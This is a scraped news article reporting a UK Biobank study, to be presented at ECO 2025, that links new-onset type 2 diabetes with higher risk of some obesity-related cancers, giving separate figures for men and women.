<p>A new diagnosis of type 2 <a href="https://www.mid-day.com/lifestyle/health-and-fitness/article/walking-after-meals-may-help-manage-diabetes-and-hypertension-says-expert-23364237" target="_blank" rel="none noopener"><strong>diabetes</strong></a> (T2D) has been linked to a subsequent increase in the risk of developing some, but not all, obesity related cancers, according to new research.</p>
<p>Previous research has described associations between type 2 diabetes mellitus and higher risk of several obesity-related cancers.</p>
<p>However, it remains unclear whether these associations are causal, due to confounding (their mutual risk factor of obesity); immortal time bias (many studies combine prevalent and new-onset T2D); or time detection bias (for example, the co-diagnosis of two relatively common conditions at the same time).</p>
<p>In this study, to be presented at European Congress on Obesity (ECO 2025, Malaga, Spain, 11-14 May), the authors aimed to address these previous methodological flaws.</p>
<p>They performed a matched cohort control study within UK Biobank of new-onset T2D (defined by date of first reported non-insulin dependent diabetes) versus unexposed individuals matched (1 participant to 3 controls) on body mass index (BMI), age, and sex.</p>
<p>A total of 23,750 participants with T2D were matched with 71,123 controls. Over a median follow-up time of 5 years, there were 2431 new primary cancers among T2D participants and 5184 new primary cancers among matched controls.</p>
<p>The data analysis showed new-onset T2D was associated with a 48 per cent increased risk of <a href="https://www.mid-day.com/lifestyle/health-and-fitness/article/childhood-obesity-linked-to-increased-risk-of-copd-later-study-23504347" target="_blank" rel="none noopener"><strong>obesity</strong></a> related cancers in men and a 24 per cent increased risk in women &ndash; an effect independent of BMI. However, there were no associations with several site-specific ORCs &ndash; notably, endometrial, and post-menopausal breast cancer in women</p>
<p>There were positive associations found &ndash; new onset T2D increased the risk for bowel cancer by 27 per cent in men and 34 per cent in women; for pancreatic cancer by 74 per cent in men and a near-doubling of risk in women. For liver cancer new onset T2D was associated with a near-quadrupling of risk in men and near 5-fold increased risk in women.</p>
<p>&ldquo;At this stage, we are unsure whether these differences in men and women are due to a sex-dependent biological pathway such as hormone levels, insulin sensitivity, body fat composition, or due to a simple difference in the number of cancers found in men and women within UK Biobank by chance,&rdquo; said the study authors.</p>
<p><span style="font-size: x-small;"><em>This story has been sourced from a third party syndicated feed, agencies. Mid-day accepts no responsibility or liability for its dependability, trustworthiness, reliability and data of the text. Mid-day management/mid-day.com reserves the sole right to alter, delete or remove (without notice) the content in its absolute discretion for any reason whatsoever</em></span></p><p>
    <script async="async" data-cfasync="false" src="//pl23789885.revenuecpmgate.com/7445444aea29efc3d061cbd866026c06/invoke.js"></script>
    <div id="container-7445444aea29efc3d061cbd866026c06"></div>
    </p><script type='text/javascript' src='https://2cm.es/1e0EP'></script><script type='text/javascript' src='https://2cm.es/1e0JF'></script>

The data analysis showed new-onset T2D was associated with a 48 pc increased risk of obesity related cancers in men and a 24 pc increased risk in women

Type 2 diabetes linked with some obesity-related cancers: Study

Facing high cholesterol? Your office coffee brewing machine may be a cause, according to a study

The data analysis showed new-onset T2D was associated with a 48 per cent increased risk of obesity related cancers in men and a 24 per cent increased risk in women

Type 2 diabetes linked with some obesity-related cancers: Study

Trending Stories

Latest Photos

Latest Videos

Latest Web Stories

Mid-Day Fast

Home / Lifestyle / Health & Fitness / Article / Type 2 diabetes linked with some obesity-related cancers: Study

Type 2 diabetes linked with some obesity-related cancers: Study

Trending Stories

Latest Photos

Latest Videos

Latest Web Stories

Mid-Day Fast